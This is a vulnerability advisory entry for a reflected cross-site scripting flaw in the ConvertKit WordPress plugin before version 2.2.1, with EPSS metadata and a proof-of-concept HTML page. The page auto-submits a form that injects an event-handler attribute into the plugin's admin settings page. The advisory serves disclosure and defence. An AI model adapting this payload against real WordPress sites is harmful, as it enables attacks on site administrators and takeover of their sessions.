ConvertKit < 2.2.1 - Reflected XSS

2023-05-1500:00:00

wpvulndb

convertkit

xss

reflected

admin

exploit

EPSS

0.001

Percentile

31.2%

JSON

The plugin does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="http://example.com/wp-admin/options-general.php?page=_wp_convertkit_settings" method="POST">
      <input type="hidden" name="page" value='"style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

EPSS

0.001

Percentile

31.2%

JSON

Related for WPEX-ID:E5A6F834-80A4-406B-ACAE-57FFEEC2E689